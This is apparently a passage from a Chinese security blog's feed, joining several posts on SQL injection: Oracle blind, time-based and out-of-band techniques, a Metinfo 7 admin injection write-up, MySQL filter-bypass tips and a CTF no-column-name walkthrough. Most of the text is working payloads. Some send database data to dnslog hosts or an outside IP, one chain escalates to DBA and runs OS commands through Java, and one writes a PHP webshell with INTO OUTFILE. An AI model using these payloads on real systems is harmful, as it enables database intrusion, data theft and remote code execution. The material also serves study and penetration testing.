<h3>UTL_INADDR.get_host_address</h3>
<pre><code class="language-sql ">select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
</code></pre>
<h2>盲注</h2>
<h3>布尔盲注</h3>
<p>布尔盲注第一种是可以使用简单的字符串比较来进行，比如：</p>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' --
</code></pre>
<p>然后还有一种是通过decode配合除数为0来进行布尔盲注。</p>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --
</code></pre>
<h3>时间盲注</h3>
<ol>
<li>大量数据</li>
</ol>
<pre><code class="language-sql ">select count(*) from all_objects
</code></pre>
<p>缺点就是不准。</p>
<ol start="2">
<li>时间延迟函数</li>
</ol>
<pre><code class="language-sql ">select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318214321.png" alt="image" /><br />
还可以配合decode</p>
<pre><code class="language-sql ">select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;
</code></pre>
<h2>带外OOB</h2>
<p>类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限，有限制。</p>
<h3>utl_http.request</h3>
<p>需要出外网HTTP<br />
<img src="/wp-content/uploads/2020/03/20200318210020.png" alt="image" /></p>
<h3>utl_inaddr.get_host_address</h3>
<p>dns解析带外</p>
<pre><code class="language-sql ">select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318215662.png" alt="image" /></p>
<h3>SYS.DBMS_LDAP.INIT</h3>
<p><strong>这个函数在 10g/11g 中是 public 权限.</strong></p>
<pre><code class="language-sql ">SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
</code></pre>
<h3>HTTPURITYPE</h3>
<pre><code class="language-sql ">SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
</code></pre>
<h3>其他</h3>
<p>如果 Oracle 版本 &lt;= 10g，可以尝试以下函数：<br />
1. UTL_INADDR.GET_HOST_ADDRESS<br />
2. UTL_HTTP.REQUEST<br />
3. HTTP_URITYPE.GETCLOB<br />
4. DBMS_LDAP.INIT and UTL_TCP</p>
<h2>Oracle XXE (CVE-2014-6577)</h2>
<p>说是xxe，实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp<br />
1. http</p>
<pre><code class="language-sql ">select 1 from dual where 1=(select extractvalue(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://192.168.124.1/'||(SELECT user from dual)||'"&gt; %remote;]&gt;'),'/l') from dual); 
</code></pre>
<ol start="2">
<li>ftp</li>
</ol>
<pre><code class="language-sql ">select extractvalue(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"&gt; %remote; %param1;]&gt;'),'/l') from dual;
</code></pre>
<h2><span class="wpcom_tag_link"><a href="/tags/%e6%8f%90%e6%9d%83" title="提权" target="_blank">提权</a></span></h2>
<p>前文说了Oracle可以调用Java程序</p>
<h3>GET_DOMAIN_INDEX_TABLES函数注入</h3>
<p>影响版本:Oracle 8.1.7.4, 9.2.0.1 &#8211; 9.2.0.7, 10.1.0.2 &#8211; 10.1.0.4, 10.2.0.1-10.2.0.2</p>
<p>漏洞的成因是该函数的参数存在注入，而该函数的所有者是sys，所以通过注入就可以执行任意sql，该函数的执行权限为public，所以只要遇到一个oracle的注入点并且存在这个漏洞的，基本上都可以提升到最高权限。</p>
<ol>
<li>权限提升</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
</code></pre>
<ol start="2">
<li>创建Java代码执行命令</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
</code></pre>
<ol start="3">
<li>赋予Java执行权限</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''&lt;&lt;ALL FILES&gt;&gt;'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
</code></pre>
<ol start="4">
<li>创建函数</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
</code></pre>
<ol start="5">
<li>赋予函数执行权限</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
</code></pre>
<ol start="6">
<li>执行命令</li>
</ol>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--
</code></pre>
<h3>DBMS_JVM_EXP_PERMS绕过JVM执行命令</h3>
<p>移步：<br />
1. https://www.notsosecure.com/hacking-oracle-11g/<br />
2. https://www.exploit-db.com/exploits/33601</p>
<h3>xml反序列化绕过JVM执行命令 CVE-2018-3004</h3>
<p>如果当前数据库用户具有connect和resource权限，则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机，而Oracle数据库则通过Java存储过程来支持Java的本地执行。</p>
<pre><code class="language-sql ">--create or replace function get_java_property(prop in varchar2) return varchar2
--   is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';
--/
select get_java_property('java.version') from dual;
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318214591.png" alt="image" /></p>
<p><strong>原作者写的是<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.name.System</code>，这里应该使用<code>java.lang.System</code></strong></p>
<p>虽然你以为可以执行Java代码了，直接冲Runtime.getRuntime().exec()就完事了，但是实际上Oracle对权限进行了细致的划分，并不能直接冲。我们可以用一个xml的反序列化来冲。</p>
<pre><code class="language-sql ">BEGIN
 decodeme('&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;java version="1.4.0" class="java.beans.XMLDecoder"&gt; 
&lt;object class="java.io.FileWriter"&gt;
                      &lt;string&gt;c:\app\1.txt&lt;/string&gt;
                      &lt;boolean&gt;True&lt;/boolean&gt;
                      &lt;void method="write"&gt;
                         &lt;string&gt;aaa&lt;/string&gt;
                      &lt;/void&gt;
                      &lt;void method="close" /&gt;
                   &lt;/object&gt;
&lt;/java&gt;');
END;
/
</code></pre>
<p>试了试好像不能执行命令，但是可以写文件。写个shell还是绰绰有余的，当然你还可以写ssh公钥。<br />
<img src="/wp-content/uploads/2020/03/20200318219965.png" alt="image" /></p>
<h2>参考</h2>
<ol>
<li>https://www.iswin.org/2015/06/13/hack-oracle</li>
<li>http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html?m=1</li>
<li>https://www.cnblogs.com/-qing-/p/10949562.html</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html">Oracle 注入指北</a></li>
<li>https://www.notsosecure.com/hacking-oracle-11g/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Metinfo7 后台注入及一些tips</title>
		<link>/audit/1014.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 06 Oct 2019 13:06:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">/?p=1014</guid>

					<description><![CDATA[很可惜是个后台的注入 跟汤姆表哥再搞创宇的年度任务🤒，昨天发了metinfo6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了...]]></description>
										<content:encoded><![CDATA[<p>很可惜是个后台的注入</p>
<p>跟汤姆表哥再搞创宇的年度任务🤒，昨天发了<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了后缀校验，绕不过去了，呜呜呜。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span> injection 1</h1>
<p>全局搜索<code>where</code></p>
<p>app/system/parameter/include/class/parameter_op.class.php:165</p>
<pre><code class="language-php ">public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
    global $_M;

    $paralist = $this->get_para_list($module,$class1,$class2,$class3);
    foreach ($paralist as $key => $para) {
        $list = $this->parameter_database->get_parameters($module,$para['id']);
        $paralist[$key]['list'] = $list;
        if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
            $values = array();
            foreach ($list as $val) {
                $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'&quot;;
                $para_value = DB::get_one($query);
                if($para_value){
                    $values[] = $para_value['info'];
                }
            }
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }else{
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }


        if(is_array($values)){
            $paralist[$key]['value'] = implode('|', $values);
        }else{
            $paralist[$key]['value'] = $values;
        }
    }
    return $paralist;
    ##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
}
</code></pre>
<p>发现<code>{$listid}</code>直接被拼接进sql语句，且<code>listid</code>是函数直接传进来的参数，搜索哪些函数调用了这个函数</p>
<p><img src="https://y4er.com/img/uploads/20190928221736.png" alt="20190928221736" /></p>
<p>app/system/product/admin/product_admin.class.php:171</p>
<pre><code class="language-php ">public function dopara() {
    global $_M;
    if($_M['form']['app_type']=='shop'){
        $class1 = $_M['form']['class1'];
        $class2 = $_M['form']['class2'];
        $class3 = $_M['form']['class3'];
        $paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
        require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
    }else{
        parent::dopara();
    }
}
</code></pre>
<p><code>$_M['form']['id']</code>可控，那么sql语句就可控。</p>
<p>payload</p>
<pre><code class="">http://php.local/admin/?n=product&amp;c=product_admin&amp;a=dopara&amp;app_type=shop&amp;id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1  -- +
</code></pre>
<h1>sql injection 2</h1>
<p>app/system/language/admin/language_general.class.php:108</p>
<pre><code class="language-php ">public function doget_admin_pack($appno,$site,$editor)
{
    global $_M;
    $sql = $appno ? &quot;AND app = {$appno}&quot; : '';
    $language_data = array();
    if ($site == 'admin') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
    } else if ($site == 'web') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
    }

    foreach ($language_data as $key => $val) {
        file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
    }
}
</code></pre>
<p><code>$appno</code>直接拼接 当<code>site</code>等于web或者admin时造成sql注入</p>
<p>找下有没有调用这个函数传参的</p>
<p>app/system/language/admin/language_general.class.php:90</p>
<pre><code class="language-php ">public function doExportPack()
{
    global $_M;

    if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
        $this->error($_M['word']['js41']);
    }

    $editor = $_M['form']['editor'];
    $site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
    $appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
    $filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';

    delfile($filename);

    //获取后台语言包
    $this->doget_admin_pack($appno,$site,$editor);

    $filename = realpath($filename);
    header(&quot;&quot;);
    Header(&quot;Content-type:  application/octet-stream &quot;);
    Header(&quot;Accept-Ranges:  bytes &quot;);
    Header(&quot;Accept-Length: &quot; . filesize($filename));
    header(&quot;Content-Disposition:  attachment;  filename=language_{$site}_&quot; . $appno .'_'. $editor . &quot;.ini&quot;);
    //写日志
    $log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
    logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
    readfile($filename);
}
</code></pre>
<p>看下代码，首先要传递参数<code>editor</code>跳出第一个if语句块，然后<code>site</code>和<code>appno</code>直接传入<code>doget_admin_pack()</code>函数，参数都可控，妥妥的注入。</p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/?n=language&amp;c=language_general&amp;a=doExportPack HTTP/1.1
Host: php.local
Content-Length: 58
Origin: http://php.local/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
Connection: close

appno= 1 union SELECT user(),database()&amp;editor=cn&amp;site=web
</code></pre>
<p><img src="/wp-content/uploads/2019/10/20190928223704.png" alt="20190928223704" /></p>
<h1>组合拳</h1>
<p>在前文中提到了metinfo6.2.0配合注入getshell的姿势，但是在metinfo7.0中增加了后缀校验，无法getshell，很可惜。</p>
<p>app/system/include/class/web.class.php:757</p>
<pre><code class="language-php ">if (stristr($filename, '.php')) {
    jsoncallback(array('suc' => 0));
}
</code></pre>
<p>但是这个点仍然可以上传其他后缀的文件，通过这个点配合解析漏洞或者文件包含来getshell未免不可行。</p>
<p>想到了htaccess和.user.ini的同学别费力气了，写文件没办法换行，如果有师傅有新姿势，欢迎评论指点啊！</p>
<h1>总结</h1>
<p>metinfo7.0的注入实际上还有很多，不过很多都是delete型的注入，我在这里挑了两个回显的注入，欢迎师傅们补充交流。</p>
<p>CVE-2019-16997<br />
CVE-2019-16996</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SQL注入tips总结</title>
		<link>/web/869.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 16:00:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=869</guid>

					<description><![CDATA[过滤单引号 过滤了单引号可以利用以下几种方法绕过。 1. 整数型注入 整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利...]]></description>
										<content:encoded><![CDATA[<p><strong>过滤单引号</strong></p>
<blockquote><p>
  过滤了单引号可以利用以下几种方法绕过。
</p></blockquote>
<pre><code class="">1. 整数型注入
  整数型注入就不用多废话了，只有在判断表名和列名的时候需要用到单引号，但是可以利用char函数和16进制绕过。利用sql语句写入文件的时候也可以利用16进制，因为mysql会将16进制解析。
2. 字符型注入
  gbk编码，另外可以根据具体的waf/ips规则进行bypass，比如dedecms中的全局过滤ips绕过方式。
</code></pre>
<p><strong>过滤select</strong></p>
<blockquote><p>
  其实过滤了select基本无解，起码在我这个菜逼眼里是这样的，但是也要考虑特殊情况。比如今年的强网杯的一道题目，虽然过滤了select但是可以堆叠查询，因此有了绕过的方法。
</p></blockquote>
<pre><code class="">//用到的语句
set语句可用于向系统变量或用户变量赋值。 eg: SET @s1ye=test;
PREPARE stmt_name FROM preparable_stmt 定义预处理语句，它将包含占位符(?)的查询传递给MySQL服务器。
EXECUTE stmt_name  执行预处理语句
</code></pre>
<p><strong>过滤逗号</strong></p>
<blockquote>
<ol>
<li>盲注：
<p>  利用from 1 for 1</p>
</li>
<li>
<p>可回显<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>：</p>
<p>  利用 A join B</p>
</li>
<li>
<p>使用like：</p>
<p>  select user() like &#8216;r%&#8217;;</p>
</li>
<li>
<p>limit时的利用方法在下面limit部分。</p>
</li>
</ol>
</blockquote>
<pre><code class="">A join B:
  INNER JOIN（内连接,或等值连接）：获取两个表中字段匹配关系的记录。
  LEFT JOIN（左连接）：获取左表所有记录，即使右表没有对应匹配的记录。
  RIGHT JOIN（右连接）： 与 LEFT JOIN 相反，用于获取右表所有记录，即使左表没有对应匹配的记录。
  用法就很简单了，我们用的到第一种方法，INNER可以省略，效果一样。
  eg: select a.name,b.password from users a join passwd n;
  在回显注入下使用：
  ?id=-1 union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d)
</code></pre>
<p><img src="/wp-content/uploads/2019/08/gk9VhIAFly3sJqv-1.png" alt="" /></p>
<pre><code class="">from 1 for 1:
  没啥好说的直接看例子，eg
  ?id=-1 union select 1,2,ascii(substr((database()) from 1 for 1))='r'--+
</code></pre>
<p><img src="/wp-content/uploads/2019/08/ayWKlr7LNjuhGZP-1.png" alt="" /></p>
<pre><code class="">"like" eg:(tablename=name)
  select * from name where id =1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'n%';
</code></pre>
<p><img src="/wp-content/uploads/2019/08/iWAKuaLYeOyVmGr-1.png" alt="" /></p>
<p><strong>比较符号绕过</strong></p>
<blockquote>
<ol>
<li>between a and b：返回a，b之间的数据，不包含b。</li>
<li>greatest()、least()：（前者返回最大值、后者返回最小值）</li>
</ol>
<p>  ​       eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64</p>
<p>  ​       所以上述语句就是与64比较，当页面正常返回时说明真实的ascii码小于或等于64，继续fuzz即可。
</p></blockquote>
<p><strong>等号绕过</strong></p>
<blockquote><p>
  可以使用like、rlike、regexp 或者&lt;>。盲注时也可以利用运算符，^、+、-等，观察返回结果与页面变化即可，举一反三灵活运用。
</p></blockquote>
<p><strong>order by 注入</strong></p>
<blockquote><p>
  利用oder by盲注的话看文章：</p>
<blockquote class="wp-embedded-content" data-secret="lwt9Za74Y7"><p><a href="/ctf/852.html">一道题引发的无列名注入</a></p></blockquote>
<p><iframe title="《一道题引发的无列名注入》—ChaBug安全" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="/ctf/852.html/embed#?secret=lwt9Za74Y7" data-secret="lwt9Za74Y7" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</p></blockquote>
<pre><code class="">注入点在order by 后的盲注
1. if（条件语句）
  ?order=if((1=1),sleep(3),1)
2. 直接and if
  看图
3. rand()盲注：
  order by rand(true); order by rand(false);
</code></pre>
<p><img src="/wp-content/uploads/2019/08/Y3vAzH9MoQeR2VN-1.png" alt="" /></p>
<pre><code class="">注入点在order by 后的报错注入:
1. 利用procedure存储过程
2. XPATH
   select * from name order by extractvalue(1,concat('~',database(),'~'));
</code></pre>
<p><img src="/wp-content/uploads/2019/08/F91ytp4IqloZCun-1.png" alt="procedure" /></p>
<p><img src="/wp-content/uploads/2019/08/Wlat7GgPsTb93pz-1.png" alt="" /></p>
<pre><code class="">#利用LINES TERMINATED BY方式getshell
   ?order=1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E
</code></pre>
<p><strong>limit注入</strong></p>
<pre><code class="">注入点在limit后的注入：
  同样的利用procedure存储过程 （https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html）
看文章就可以了
</code></pre>
<pre><code class="">如果注入中需要用到limit但是又过滤了逗号，可以利用以下方法。
select * from users limit 0,1;
# 等价于↓
select * from users limit 1 offset 0;
</code></pre>
<p><strong>盲注带外</strong></p>
<blockquote><p>
  直接看文章，利用dnslog带外的话需要一些权限，比如必须有FILE权限、secure_file_priv为空而不是NULL（不为空就只能读限定目录的文件）</p>
<p>  <a href="http://lawlietweb.com/2018/06/30/dnslogsqli/">chabug一位师傅的文章</a>
</p></blockquote>
<p><strong>substr替换</strong></p>
<pre><code class="">mid,left,right,substring,lpad,rpad等
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>一道题引发的无列名注入</title>
		<link>/ctf/852.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 14:37:20 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[列名]]></category>
		<category><![CDATA[子查询]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=852</guid>

					<description><![CDATA[@Syst1m的考核题 题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。 常规联合查询注入 http://152.136.179....]]>/</description>
										<content:encoded><![CDATA[<p>@Syst1m的考核题</p>
<p>题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。</p>
<p>常规联合查询<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,3
</code></pre>
<p>三个字段</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())
</code></pre>
<p>拿到flag所在的表，继续查<span class="wpcom_tag_link"><a href="/tags/%e5%88%97%e5%90%8d" title="列名" target="_blank">列名</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')
</code></pre>
<p>死活查不出来，应该是过滤了column关键字，没有列名怎么查出来数据呢？？？</p>
<p>有两种方法<br />
1. order by<span class="wpcom_tag_link"><a href="/tags/%e7%9b%b2%e6%b3%a8" title="盲注" target="_blank">盲注</a></span><br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e6%9f%a5%e8%af%a2" title="子查询" target="_blank">子查询</a></span></p>
<p>本地测试建表</p>
<p><img src="https://y4er.com/img/uploads/20190822205338.png" alt="20190822205338" /></p>
<p><img src="/wp-content/uploads/2019/08/20190822205621.png" alt="20190822205621" /></p>
<h1>order by盲注</h1>
<p>order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。</p>
<p>先来本地测试一下</p>
<p><img src="/wp-content/uploads/2019/08/20190822210044.png" alt="20190822210044" /></p>
<p>可以看到我们构造的数据排在了第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210124.png" alt="20190822210124" /></p>
<p>仍然在第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210155.png" alt="20190822210155" /></p>
<p>当拿&#8217;q&#8217;和&#8217;pass&#8217;做比较时，我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。</p>
<p>拿我们这道题来说</p>
<p><img src="/wp-content/uploads/2019/08/20190822210915.png" alt="20190822210915" /></p>
<p>1的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822210948.png" alt="20190822210948" /></p>
<p>2的时候原始数据在前，说明第一位是1</p>
<p>然后判断第二位</p>
<p><img src="/wp-content/uploads/2019/08/20190822211104.png" alt="20190822211104" /></p>
<p>1a的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822211144.png" alt="20190822211144" /></p>
<p>1b的时候原始数据在前，说明第二位是1a</p>
<p>由此逐位判断。</p>
<h1>子查询</h1>
<p>在无列名的情况下，用子查询可以很简单的将数据跑出来。</p>
<p>子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214132.png" alt="20190822214132" /></p>
<p><strong>这个语句将列名转换为了1,2,3</strong>，这个时候列名就已知了，我们可以用子查询将数据归并。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214824.png" alt="20190822214824" /></p>
<p>此时就能查出来数据了，然后我们再来看这个题。</p>
<p>我们已知了表名为<code>this_1s_th3_fiag_tab13</code>，但是不知道这个表有几个字段</p>
<p><img src="/wp-content/uploads/2019/08/20190822220530.png" alt="20190822220530" /></p>
<p>可以用联合查询的方式来判断字段数。</p>
<p>查出数据</p>
<p><img src="/wp-content/uploads/2019/08/20190822220706.png" alt="20190822220706" /></p>
<p>拿到我们这个题里来</p>
<p><img src="/wp-content/uploads/2019/08/20190822220930.png" alt="20190822220930" /></p>
<p>payload</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x
</code></pre>
<p>子查询真是个好东西👍</p>
<h1>写在文后</h1>
<p>本文介绍了两种无列名注入的方式，很巧妙的在没有列名的情况下查出来数据，在实际利用中更推荐用子查询的方式，毕竟盲注有可能费力不讨好。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SQL注入到EXP编写</title>
		<link>/web/438.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 03 Jul 2018 14:47:19 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=406</guid>

					<description><![CDATA[今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！ 最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末...]]></description>
										<content:encoded><![CDATA[<p>今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！</p>
<p>最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末考试，但是越是期末，与紧张，就越是感觉非常刺激~<br />
